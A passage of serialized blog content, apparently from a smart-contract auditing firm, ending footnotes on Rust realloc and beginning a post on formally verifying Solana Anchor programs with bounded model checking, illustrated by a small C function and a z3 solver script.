",{"type":23,"tag":37,"props":18555,"children":18557},{"className":18556},[],[18558],{"type":28,"value":14930},{"type":28,"value":5501},{"type":23,"tag":458,"props":18561,"children":18564},{"href":18562,"rel":18563},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[462],[18565,18567],{"type":28,"value":18566},"not declared with ",{"type":23,"tag":37,"props":18568,"children":18570},{"className":18569},[],[18571],{"type":28,"value":18572},"#[repr(C)]",{"type":28,"value":18574},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":2913,"props":18576,"children":18577},{},[18578],{"type":28,"value":18579},"breaks the entire chain",{"type":28,"value":18581}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":2913,"props":18583,"children":18584},{},[18585],{"type":28,"value":18586},"some",{"type":28,"value":18588}," kind of interface to the specific layout of the specific ",{"type":23,"tag":37,"props":18590,"children":18592},{"className":18591},[],[18593],{"type":28,"value":16498},{"type":28,"value":18595}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":458,"props":18597,"children":18601},{"href":18598,"ariaLabel":18599,"className":18600,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[18526],[18602],{"type":28,"value":18529},{"type":23,"tag":421,"props":18604,"children":18606},{"id":18605},"user-content-fn-rustc-llvm",[18607,18609],{"type":28,"value":18608},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":458,"props":18610,"children":18614},{"href":18611,"ariaLabel":18612,"className":18613,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[18526],[18615],{"type":28,"value":18529},{"type":23,"tag":421,"props":18617,"children":18619},{"id":18618},"user-content-fn-godbolt",[18620,18627,18629,18635,18637],{"type":23,"tag":458,"props":18621,"children":18624},{"href":18622,"rel":18623},"https://godbolt.org/z/PK46xMbxc",[462],[18625],{"type":28,"value":18626},"Click here",{"type":28,"value":18628}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":37,"props":18630,"children":18632},{"className":18631},[],[18633],{"type":28,"value":18634},"libcore",{"type":28,"value":18636}," available for other architectures yet. ",{"type":23,"tag":458,"props":18638,"children":18642},{"href":18639,"ariaLabel":18640,"className":18641,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[18526],[18643],{"type":28,"value":18529},{"type":23,"tag":421,"props":18645,"children":18647},{"id":18646},"user-content-fn-slice-unbound-lifetime",[18648,18650,18655,18657,18663,18665,18671,18673,18679,18681,18687,18689,18695,18697,18702,18704],{"type":28,"value":18649},"The astute reader may have noticed that ",{"type":23,"tag":37,"props":18651,"children":18653},{"className":18652},[],[18654],{"type":28,"value":18342},{"type":28,"value":18656}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":37,"props":18658,"children":18660},{"className":18659},[],[18661],{"type":28,"value":18662},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":18664},", the lifetime parameter ",{"type":23,"tag":37,"props":18666,"children":18668},{"className":18667},[],[18669],{"type":28,"value":18670},"'a",{"type":28,"value":18672}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":37,"props":18674,"children":18676},{"className":18675},[],[18677],{"type":28,"value":18678},"*slice",{"type":28,"value":18680},", which is ",{"type":23,"tag":37,"props":18682,"children":18684},{"className":18683},[],[18685],{"type":28,"value":18686},"&'info [u8]",{"type":28,"value":18688}," (where ",{"type":23,"tag":37,"props":18690,"children":18692},{"className":18691},[],[18693],{"type":28,"value":18694},"'info",{"type":28,"value":18696}," is the lifetime parameter of the ",{"type":23,"tag":37,"props":18698,"children":18700},{"className":18699},[],[18701],{"type":28,"value":14930},{"type":28,"value":18703}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":458,"props":18705,"children":18709},{"href":18706,"ariaLabel":18707,"className":18708,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[18526],[18710],{"type":28,"value":18529},{"type":23,"tag":2843,"props":18712,"children":18713},{},[18714],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":18716},[18717,18723,18727,18728,18730],{"id":14360,"depth":54,"text":18718,"children":18719},"Breaking down realloc",[18720,18721],{"id":14526,"depth":76,"text":14529},{"id":15880,"depth":76,"text":18722},"Back to realloc",{"id":16830,"depth":54,"text":16833,"children":18724},[18725,18726],{"id":16836,"depth":76,"text":16839},{"id":17057,"depth":76,"text":17060},{"id":17244,"depth":54,"text":17247},{"id":17646,"depth":54,"text":18729},"Towards safer unsafe",{"id":15472,"depth":54,"text":18421},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":18735,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":18736,"description":18737,"author":18738,"image":18739,"date":18741,"isFeatured":18,"onBlogPage":18,"tags":18742,"body":18743,"_type":2864,"_id":28999,"_source":2866,"_file":29000,"_stem":29001,"_extension":2869},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":18740,"height":13618,"width":13},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[2881,2882],{"type":20,"children":18744,"toc":28971},[18745,18750,18755,18781,18784,18796,18819,18842,18854,18877,18880,18887,18936,18942,18948,18953,18964,19005,19010,19016,19021,19253,19273,19278,19283,19356,19361,19431,19445,19870,19890,19896,19915,19920,19925,19930,19936,19948,19983,19994,20005,20017,20022,20054,20078,20097,20103,20120,20126,20153,20158,20178,20190,20335,20363,20366,20378,20461,20480,20483,20522,20688,20693,20699,20711,20730,20743,20904,20916,20929,21403,21408,21455,21461,21479,21547,21785,21999,22004,22078,22126,22131,22137,22239,22343,22348,22411,22416,22422,22487,22492,22534,22560,22566,22635,22640,22690,22701,22707,22718,22739,22744,22749,22772,22778,22790,22810,23926,23945,23996,24001,24009,24021,24026,24034,24039,24055,24091,24096,24190,24195,24203,24208,24320,24325,24333,24346,24510,24515,24523,24528,24533,24601,24635,24641,24646,24657,24675,25053,25065,25077,25085,25096,25127,25132,25140,25145,25418,25437,25442,25468,26336,26348,26447,26459,26501,26506,26518,26526,26531,26543,26569,26729,26741,26749,26754,27030,27035,27047,27202,27222,27548,27582,27776,27809,27821,27943,27963,27968,27973,27978,27991,27999,28004,28479,28491,28496,28508,28513,28772,28798,28803,28809,28815,28827,28839,28858,28905,28910,28916,28921,28926,28931,28935,28940,28945,28948,28967],{"type":23,"tag":24,"props":18746,"children":18747},{},[18748],{"type":28,"value":18749},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":24,"props":18751,"children":18752},{},[18753],{"type":28,"value":18754},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":24,"props":18756,"children":18757},{},[18758,18760,18764,18766,18771,18773,18780],{"type":28,"value":18759},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":2913,"props":18761,"children":18762},{},[18763],{"type":28,"value":16360},{"type":28,"value":18765}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":2913,"props":18767,"children":18768},{},[18769],{"type":28,"value":18770},"juciest",{"type":28,"value":18772},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":458,"props":18774,"children":18777},{"href":18775,"rel":18776},"https://rekt.news/leaderboard/",[462],[18778],{"type":28,"value":18779},"hundreds of millions of dollars",{"type":28,"value":706},{"type":23,"tag":442,"props":18782,"children":18783},{},[],{"type":23,"tag":24,"props":18785,"children":18786},{},[18787,18789,18794],{"type":28,"value":18788},"At OtterSec we are ",{"type":23,"tag":2913,"props":18790,"children":18791},{},[18792],{"type":28,"value":18793},"highly skilled in pest control",{"type":28,"value":18795}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":23,"tag":24,"props":18797,"children":18798},{},[18799,18801,18808,18810,18817],{"type":28,"value":18800},"Recently we were contacted by the ",{"type":23,"tag":458,"props":18802,"children":18805},{"href":18803,"rel":18804},"https://squads.so/",[462],[18806],{"type":28,"value":18807},"Squads team",{"type":28,"value":18809}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":458,"props":18811,"children":18814},{"href":18812,"rel":18813},"https://github.com/Squads-Protocol/squads-mpl",[462],[18815],{"type":28,"value":18816},"Squads Multisig Program",{"type":28,"value":18818}," as our main case study.",{"type":23,"tag":24,"props":18820,"children":18821},{},[18822,18824,18831,18833,18840],{"type":28,"value":18823},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":458,"props":18825,"children":18828},{"href":18826,"rel":18827},"https://www.anchor-lang.com/",[462],[18829],{"type":28,"value":18830},"anchor-lang",{"type":28,"value":18832}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":458,"props":18834,"children":18837},{"href":18835,"rel":18836},"https://github.com/model-checking/kani",[462],[18838],{"type":28,"value":18839},"Kani Rust Verifier",{"type":28,"value":18841},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":24,"props":18843,"children":18844},{},[18845,18847,18852],{"type":28,"value":18846},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":2913,"props":18848,"children":18849},{},[18850],{"type":28,"value":18851},"bounded model checking",{"type":28,"value":18853}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":24,"props":18855,"children":18856},{},[18857],{"type":23,"tag":2913,"props":18858,"children":18859},{},[18860,18862,18869,18871],{"type":28,"value":18861},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":458,"props":18863,"children":18866},{"href":18864,"rel":18865},"https://osec.io/contact",[462],[18867],{"type":28,"value":18868},"this form",{"type":28,"value":18870}," or email us at ",{"type":23,"tag":458,"props":18872,"children":18874},{"href":18873},"mailto:contact@osec.io",[18875],{"type":28,"value":18876},"contact@osec.io",{"type":23,"tag":442,"props":18878,"children":18879},{},[],{"type":23,"tag":18881,"props":18882,"children":18884},"h4",{"id":18883},"contents",[18885],{"type":28,"value":18886},"Contents:",{"type":23,"tag":5436,"props":18888,"children":18889},{},[18890,18895,18912,18922,18927,18932],{"type":23,"tag":421,"props":18891,"children":18892},{},[18893],{"type":28,"value":18894},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":421,"props":18896,"children":18897},{},[18898,18903,18905,18910],{"type":23,"tag":510,"props":18899,"children":18900},{},[18901],{"type":28,"value":18902},"Specification",{"type":28,"value":18904},": How can we describe what we ",{"type":23,"tag":2913,"props":18906,"children":18907},{},[18908],{"type":28,"value":18909},"want",{"type":28,"value":18911}," our program to do?",{"type":23,"tag":421,"props":18913,"children":18914},{},[18915,18920],{"type":23,"tag":510,"props":18916,"children":18917},{},[18918],{"type":28,"value":18919},"Verification",{"type":28,"value":18921},": How do we check that our model is correct?",{"type":23,"tag":421,"props":18923,"children":18924},{},[18925],{"type":28,"value":18926},"Case Study: Squads Multisig",{"type":23,"tag":421,"props":18928,"children":18929},{},[18930],{"type":28,"value":18931},"Additional challenges in Solana",{"type":23,"tag":421,"props":18933,"children":18934},{},[18935],{"type":28,"value":2814},{"type":23,"tag":446,"props":18937,"children":18939},{"id":18938},"formal-verification-with-bounded-model-checking",[18940],{"type":28,"value":18941},"Formal Verification with Bounded Model Checking",{"type":23,"tag":546,"props":18943,"children":18945},{"id":18944},"overview",[18946],{"type":28,"value":18947},"Overview",{"type":23,"tag":24,"props":18949,"children":18950},{},[18951],{"type":28,"value":18952},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":24,"props":18954,"children":18955},{},[18956,18958,18963],{"type":28,"value":18957},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":510,"props":18959,"children":18960},{},[18961],{"type":28,"value":18962},"bounded model checking (BMC)",{"type":28,"value":706},{"type":23,"tag":24,"props":18965,"children":18966},{},[18967,18969,18974,18976,18981,18983,18987,18989,18995,18997,19003],{"type":28,"value":18968},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":2913,"props":18970,"children":18971},{},[18972],{"type":28,"value":18973},"symbolically",{"type":28,"value":18975}," rather than ",{"type":23,"tag":2913,"props":18977,"children":18978},{},[18979],{"type":28,"value":18980},"concretely",{"type":28,"value":18982},". Instead of actually performing an ",{"type":23,"tag":2913,"props":18984,"children":18985},{},[18986],{"type":28,"value":9636},{"type":28,"value":18988}," when we see the line ",{"type":23,"tag":37,"props":18990,"children":18992},{"className":18991},[],[18993],{"type":28,"value":18994},"int x = a + b",{"type":28,"value":18996},", we store the symbolic expression ",{"type":23,"tag":37,"props":18998,"children":19000},{"className":18999},[],[19001],{"type":28,"value":19002},"x == a + b",{"type":28,"value":19004},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":24,"props":19006,"children":19007},{},[19008],{"type":28,"value":19009},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":546,"props":19011,"children":19013},{"id":19012},"a-simple-example",[19014],{"type":28,"value":19015},"A simple example",{"type":23,"tag":24,"props":19017,"children":19018},{},[19019],{"type":28,"value":19020},"As an example, consider the following function:",{"type":23,"tag":31,"props":19022,"children":19024},{"code":19023,"language":3146,"meta":7,"className":16503,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[19025],{"type":23,"tag":37,"props":19026,"children":19027},{"__ignoreMap":7},[19028,19057,19091,19103,19128,19156,19171,19198,19205,19212,19220,19246],{"type":23,"tag":41,"props":19029,"children":19030},{"class":43,"line":44},[19031,19035,19040,19044,19048,19053],{"type":23,"tag":41,"props":19032,"children":19033},{"style":64},[19034],{"type":28,"value":1124},{"type":23,"tag":41,"props":19036,"children":19037},{"style":114},[19038],{"type":28,"value":19039}," foo",{"type":23,"tag":41,"props":19041,"children":19042},{"style":70},[19043],{"type":28,"value":1737},{"type":23,"tag":41,"props":19045,"children":19046},{"style":64},[19047],{"type":28,"value":1124},{"type":23,"tag":41,"props":19049,"children":19050},{"style":858},[19051],{"type":28,"value":19052}," x",{"type":23,"tag":41,"props":19054,"children":19055},{"style":70},[19056],{"type":28,"value":152},{"type":23,"tag":41,"props":19058,"children":19059},{"class":43,"line":54},[19060,19065,19069,19073,19078,19082,19087],{"type":23,"tag":41,"props":19061,"children":19062},{"style":64},[19063],{"type":28,"value":19064},"    int",{"type":23,"tag":41,"props":19066,"children":19067},{"style":70},[19068],{"type":28,"value":4514},{"type":23,"tag":41,"props":19070,"children":19071},{"style":170},[19072],{"type":28,"value":2381},{"type":23,"tag":41,"props":19074,"children":19075},{"style":70},[19076],{"type":28,"value":19077}," x ",{"type":23,"tag":41,"props":19079,"children":19080},{"style":170},[19081],{"type":28,"value":4383},{"type":23,"tag":41,"props":19083,"children":19084},{"style":164},[19085],{"type":28,"value":19086}," 3",{"type":23,"tag":41,"props":19088,"children":19089},{"style":70},[19090],{"type":28,"value":183},{"type":23,"tag":41,"props":19092,"children":19093},{"class":43,"line":76},[19094,19098],{"type":23,"tag":41,"props":19095,"children":19096},{"style":64},[19097],{"type":28,"value":19064},{"type":23,"tag":41,"props":19099,"children":19100},{"style":70},[19101],{"type":28,"value":19102}," z;\n",{"type":23,"tag":41,"props":19104,"children":19105},{"class":43,"line":85},[19106,19110,19115,19119,19124],{"type":23,"tag":41,"props":19107,"children":19108},{"style":58},[19109],{"type":28,"value":2440},{"type":23,"tag":41,"props":19111,"children":19112},{"style":70},[19113],{"type":28,"value":19114}," (y ",{"type":23,"tag":41,"props":19116,"children":19117},{"style":170},[19118],{"type":28,"value":1022},{"type":23,"tag":41,"props":19120,"children":19121},{"style":164},[19122],{"type":28,"value":19123}," 100",{"type":23,"tag":41,"props":19125,"children":19126},{"style":70},[19127],{"type":28,"value":152},{"type":23,"tag":41,"props":19129,"children":19130},{"class":43,"line":105},[19131,19136,19140,19144,19148,19152],{"type":23,"tag":41,"props":19132,"children":19133},{"style":70},[19134],{"type":28,"value":19135},"        z ",{"type":23,"tag":41,"props":19137,"children":19138},{"style":170},[19139],{"type":28,"value":2381},{"type":23,"tag":41,"props":19141,"children":19142},{"style":70},[19143],{"type":28,"value":4514},{"type":23,"tag":41,"props":19145,"children":19146},{"style":170},[19147],{"type":28,"value":377},{"type":23,"tag":41,"props":19149,"children":19150},{"style":164},[19151],{"type":28,"value":178},{"type":23,"tag":41,"props":19153,"children":19154},{"style":70},[19155],{"type":28,"value":183},{"type":23,"tag":41,"props":19157,"children":19158},{"class":43,"line":155},[19159,19163,19167],{"type":23,"tag":41,"props":19160,"children":19161},{"style":70},[19162],{"type":28,"value":15768},{"type":23,"tag":41,"props":19164,"children":19165},{"style":58},[19166],{"type":28,"value":3315},{"type":23,"tag":41,"props":19168,"children":19169},{"style":70},[19170],{"type":28,"value":102},{"type":23,"tag":41,"props":19172,"children":19173},{"class":43,"line":186},[19174,19178,19182,19186,19190,19194],{"type":23,"tag":41,"props":19175,"children":19176},{"style":70},[19177],{"type":28,"value":19135},{"type":23,"tag":41,"props":19179,"children":19180},{"style":170},[19181],{"type":28,"value":2381},{"type":23,"tag":41,"props":19183,"children":19184},{"style":70},[19185],{"type":28,"value":4514},{"type":23,"tag":41,"props":19187,"children":19188},{"style":170},[19189],{"type":28,"value":4383},{"type":23,"tag":41,"props":19191,"children":19192},{"style":164},[19193],{"type":28,"value":167},{"type":23,"tag":41,"props":19195,"children":19196},{"style":70},[19197],{"type":28,"value":183},{"type":23,"tag":41,"props":19199,"children":19200},{"class":43,"line":195},[19201],{"type":23,"tag":41,"props":19202,"children":19203},{"style":70},[19204],{"type":28,"value":192},{"type":23,"tag":41,"props":19206,"children":19207},{"class":43,"line":905},[19208],{"type":23,"tag":41,"props":19209,"children":19210},{"emptyLinePlaceholder":18},[19211],{"type":28,"value":82},{"type":23,"tag":41,"props":19213,"children":19214},{"class":43,"line":922},[19215],{"type":23,"tag":41,"props":19216,"children":19217},{"style":48},[19218],{"type":28,"value":19219},"    // Property P:\n",{"type":23,"tag":41,"props":19221,"children":19222},{"class":43,"line":930},[19223,19228,19233,19237,19242],{"type":23,"tag":41,"props":19224,"children":19225},{"style":114},[19226],{"type":28,"value":19227},"    assert",{"type":23,"tag":41,"props":19229,"children":19230},{"style":70},[19231],{"type":28,"value":19232},"(z ",{"type":23,"tag":41,"props":19234,"children":19235},{"style":170},[19236],{"type":28,"value":15679},{"type":23,"tag":41,"props":19238,"children":19239},{"style":164},[19240],{"type":28,"value":19241}," 105",{"type":23,"tag":41,"props":19243,"children":19244},{"style":70},[19245],{"type":28,"value":3825},{"type":23,"tag":41,"props":19247,"children":19248},{"class":43,"line":939},[19249],{"type":23,"tag":41,"props":19250,"children":19251},{"style":70},[19252],{"type":28,"value":201},{"type":23,"tag":24,"props":19254,"children":19255},{},[19256,19258,19264,19266,19272],{"type":28,"value":19257},"This function takes an input ",{"type":23,"tag":37,"props":19259,"children":19261},{"className":19260},[],[19262],{"type":28,"value":19263},"x",{"type":28,"value":19265}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":37,"props":19267,"children":19269},{"className":19268},[],[19270],{"type":28,"value":19271},"z != 105",{"type":28,"value":706},{"type":23,"tag":24,"props":19274,"children":19275},{},[19276],{"type":28,"value":19277},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":24,"props":19279,"children":19280},{},[19281],{"type":28,"value":19282},"Positive branch:",{"type":23,"tag":31,"props":19284,"children":19286},{"code":19285,"language":3146,"meta":7,"className":16503,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[19287],{"type":23,"tag":37,"props":19288,"children":19289},{"__ignoreMap":7},[19290,19315,19331],{"type":23,"tag":41,"props":19291,"children":19292},{"class":43,"line":44},[19293,19298,19302,19306,19310],{"type":23,"tag":41,"props":19294,"children":19295},{"style":70},[19296],{"type":28,"value":19297},"y ",{"type":23,"tag":41,"props":19299,"children":19300},{"style":170},[19301],{"type":28,"value":387},{"type":23,"tag":41,"props":19303,"children":19304},{"style":70},[19305],{"type":28,"value":19077},{"type":23,"tag":41,"props":19307,"children":19308},{"style":170},[19309],{"type":28,"value":4383},{"type":23,"tag":41,"props":19311,"children":19312},{"style":164},[19313],{"type":28,"value":19314}," 3\n",{"type":23,"tag":41,"props":19316,"children":19317},{"class":43,"line":54},[19318,19322,19326],{"type":23,"tag":41,"props":19319,"children":19320},{"style":70},[19321],{"type":28,"value":19297},{"type":23,"tag":41,"props":19323,"children":19324},{"style":170},[19325],{"type":28,"value":1022},{"type":23,"tag":41,"props":19327,"children":19328},{"style":164},[19329],{"type":28,"value":19330}," 100\n",{"type":23,"tag":41,"props":19332,"children":19333},{"class":43,"line":76},[19334,19339,19343,19347,19351],{"type":23,"tag":41,"props":19335,"children":19336},{"style":70},[19337],{"type":28,"value":19338},"z ",{"type":23,"tag":41,"props":19340,"children":19341},{"style":170},[19342],{"type":28,"value":387},{"type":23,"tag":41,"props":19344,"children":19345},{"style":70},[19346],{"type":28,"value":4514},{"type":23,"tag":41,"props":19348,"children":19349},{"style":170},[19350],{"type":28,"value":377},{"type":23,"tag":41,"props":19352,"children":19353},{"style":164},[19354],{"type":28,"value":19355}," 2\n",{"type":23,"tag":24,"props":19357,"children":19358},{},[19359],{"type":28,"value":19360},"Negative branch:",{"type":23,"tag":31,"props":19362,"children":19364},{"code":19363,"language":3146,"meta":7,"className":16503,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[19365],{"type":23,"tag":37,"props":19366,"children":19367},{"__ignoreMap":7},[19368,19391,19407],{"type":23,"tag":41,"props":19369,"children":19370},{"class":43,"line":44},[19371,19375,19379,19383,19387],{"type":23,"tag":41,"props":19372,"children":19373},{"style":70},[19374],{"type":28,"value":19297},{"type":23,"tag":41,"props":19376,"children":19377},{"style":170},[19378],{"type":28,"value":387},{"type":23,"tag":41,"props":19380,"children":19381},{"style":70},[19382],{"type":28,"value":19077},{"type":23,"tag":41,"props":19384,"children":19385},{"style":170},[19386],{"type":28,"value":4383},{"type":23,"tag":41,"props":19388,"children":19389},{"style":164},[19390],{"type":28,"value":19314},{"type":23,"tag":41,"props":19392,"children":19393},{"class":43,"line":54},[19394,19398,19403],{"type":23,"tag":41,"props":19395,"children":19396},{"style":70},[19397],{"type":28,"value":19297},{"type":23,"tag":41,"props":19399,"children":19400},{"style":170},[19401],{"type":28,"value":19402},"\u003C=",{"type":23,"tag":41,"props":19404,"children":19405},{"style":164},[19406],{"type":28,"value":19330},{"type":23,"tag":41,"props":19408,"children":19409},{"class":43,"line":76},[19410,19414,19418,19422,19426],{"type":23,"tag":41,"props":19411,"children":19412},{"style":70},[19413],{"type":28,"value":19338},{"type":23,"tag":41,"props":19415,"children":19416},{"style":170},[19417],{"type":28,"value":387},{"type":23,"tag":41,"props":19419,"children":19420},{"style":70},[19421],{"type":28,"value":4514},{"type":23,"tag":41,"props":19423,"children":19424},{"style":170},[19425],{"type":28,"value":4383},{"type":23,"tag":41,"props":19427,"children":19428},{"style":164},[19429],{"type":28,"value":19430}," 1\n",{"type":23,"tag":24,"props":19432,"children":19433},{},[19434,19436,19443],{"type":28,"value":19435},"Using the ",{"type":23,"tag":458,"props":19437,"children":19440},{"href":19438,"rel":19439},"https://github.com/Z3Prover/z3",[462],[19441],{"type":28,"value":19442},"z3",{"type":28,"value":19444}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":31,"props":19446,"children":19450},{"code":19447,"language":19448,"meta":7,"className":19449,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[19451],{"type":23,"tag":37,"props":19452,"children":19453},{"__ignoreMap":7},[19454,19477,19484,19510,19534,19558,19565,19573,19590,19618,19637,19665,19672,19680,19701,19719,19726,19734,19749,19776,19795,19822,19829,19836,19855],{"type":23,"tag":41,"props":19455,"children":19456},{"class":43,"line":44},[19457,19462,19467,19472],{"type":23,"tag":41,"props":19458,"children":19459},{"style":58},[19460],{"type":28,"value":19461},"from",{"type":23,"tag":41,"props":19463,"children":19464},{"style":70},[19465],{"type":28,"value":19466}," z3 ",{"type":23,"tag":41,"props":19468,"children":19469},{"style":58},[19470],{"type":28,"value":19471},"import",{"type":23,"tag":41,"props":19473,"children":19474},{"style":170},[19475],{"type":28,"value":19476}," *\n",{"type":23,"tag":41,"props":19478,"children":19479},{"class":43,"line":54},[19480],{"type":23,"tag":41,"props":19481,"children":19482},{"emptyLinePlaceholder":18},[19483],{"type":28,"value":82},{"type":23,"tag":41,"props":19485,"children":19486},{"class":43,"line":76},[19487,19492,19496,19501,19506],{"type":23,"tag":41,"props":19488,"children":19489},{"style":70},[19490],{"type":28,"value":19491},"x ",{"type":23,"tag":41,"props":19493,"children":19494},{"style":170},[19495],{"type":28,"value":2381},{"type":23,"tag":41,"props":19497,"children":19498},{"style":70},[19499],{"type":28,"value":19500}," Int(",{"type":23,"tag":41,"props":19502,"children":19503},{"style":735},[19504],{"type":28,"value":19505},"'x'",{"type":23,"tag":41,"props":19507,"children":19508},{"style":70},[19509],{"type":28,"value":1969},{"type":23,"tag":41,"props":19511,"children":19512},{"class":43,"line":85},[19513,19517,19521,19525,19530],{"type":23,"tag":41,"props":19514,"children":19515},{"style":70},[19516],{"type":28,"value":19297},{"type":23,"tag":41,"props":19518,"children":19519},{"style":170},[19520],{"type":28,"value":2381},{"type":23,"tag":41,"props":19522,"children":19523},{"style":70},[19524],{"type":28,"value":19500},{"type":23,"tag":41,"props":19526,"children":19527},{"style":735},[19528],{"type":28,"value":19529},"'y'",{"type":23,"tag":41,"props":19531,"children":19532},{"style":70},[19533],{"type":28,"value":1969},{"type":23,"tag":41,"props":19535,"children":19536},{"class":43,"line":105},[19537,19541,19545,19549,19554],{"type":23,"tag":41,"props":19538,"children":19539},{"style":70},[19540],{"type":28,"value":19338},{"type":23,"tag":41,"props":19542,"children":19543},{"style":170},[19544],{"type":28,"value":2381},{"type":23,"tag":41,"props":19546,"children":19547},{"style":70},[19548],{"type":28,"value":19500},{"type":23,"tag":41,"props":19550,"children":19551},{"style":735},[19552],{"type":28,"value":19553},"'z'",{"type":23,"tag":41,"props":19555,"children":19556},{"style":70},[19557],{"type":28,"value":1969},{"type":23,"tag":41,"props":19559,"children":19560},{"class":43,"line":155},[19561],{"type":23,"tag":41,"props":19562,"children":19563},{"emptyLinePlaceholder":18},[19564],{"type":28,"value":82},{"type":23,"tag":41,"props":19566,"children":19567},{"class":43,"line":186},[19568],{"type":23,"tag":41,"props":19569,"children":19570},{"style":48},[19571],{"type":28,"value":19572},"# Positive branch:\n",{"type":23,"tag":41,"props":19574,"children":19575},{"class":43,"line":195},[19576,19581,19585],{"type":23,"tag":41,"props":19577,"children":19578},{"style":70},[19579],{"type":28,"value":19580},"s ",{"type":23,"tag":41,"props":19582,"children":19583},{"style":170},[19584],{"type":28,"value":2381},{"type":23,"tag":41,"props":19586,"children":19587},{"style":70},[19588],{"type":28,"value":19589}," Solver()\n",{"type":23,"tag":41,"props":19591,"children":19592},{"class":43,"line":905},[19593,19598,19602,19606,19610,19614],{"type":23,"tag":41,"props":19594,"children":19595},{"style":70},[19596],{"type":28,"value":19597},"s.add(y ",{"type":23,"tag":41,"props":19599,"children":19600},{"style":170},[19601],{"type":28,"value":387},{"type":23,"tag":41,"props":19603,"children":19604},{"style":70},[19605],{"type":28,"value":19077},{"type":23,"tag":41,"props":19607,"children":19608},{"style":170},[19609],{"type":28,"value":4383},{"type":23,"tag":41,"props":19611,"children":19612},{"style":164},[19613],{"type":28,"value":19086},{"type":23,"tag":41,"props":19615,"children":19616},{"style":70},[19617],{"type":28,"value":1969},{"type":23,"tag":41,"props":19619,"children":19620},{"class":43,"line":922},[19621,19625,19629,19633],{"type":23,"tag":41,"props":19622,"children":19623},{"style":70},[19624],{"type":28,"value":19597},{"type":23,"tag":41,"props":19626,"children":19627},{"style":170},[19628],{"type":28,"value":1022},{"type":23,"tag":41,"props":19630,"children":19631},{"style":164},[19632],{"type":28,"value":19123},{"type":23,"tag":41,"props":19634,"children":19635},{"style":70},[19636],{"type":28,"value":1969},{"type":23,"tag":41,"props":19638,"children":19639},{"cla